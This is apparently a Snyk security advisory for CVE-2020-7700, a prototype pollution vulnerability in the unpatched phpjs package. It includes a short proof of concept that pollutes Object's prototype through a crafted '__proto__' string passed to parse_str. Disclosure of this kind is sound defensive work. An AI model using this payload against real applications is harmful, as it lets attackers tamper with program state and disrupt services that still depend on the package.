Prototype Pollution Affecting phpjs package, versions *
Snyk CVSS
Attack Complexity
Low
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.52% (77th
percentile)
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Test your applications- Snyk ID SNYK-JS-PHPJS-598681
- published 14 Aug 2020
- disclosed 14 Aug 2020
- credit Beomjin Lee
Introduced: 14 Aug 2020
CVE-2020-7700 Open this link in a new tabHow to fix?
There is no fixed version for phpjs.
Overview
phpjs is a community built php binding in javascript.
Affected versions of this package are vulnerable to Prototype Pollution via parse_str.
POC:
require('phpjs').parse_str("__proto__[polluted]=true",{});
console.log(polluted) //true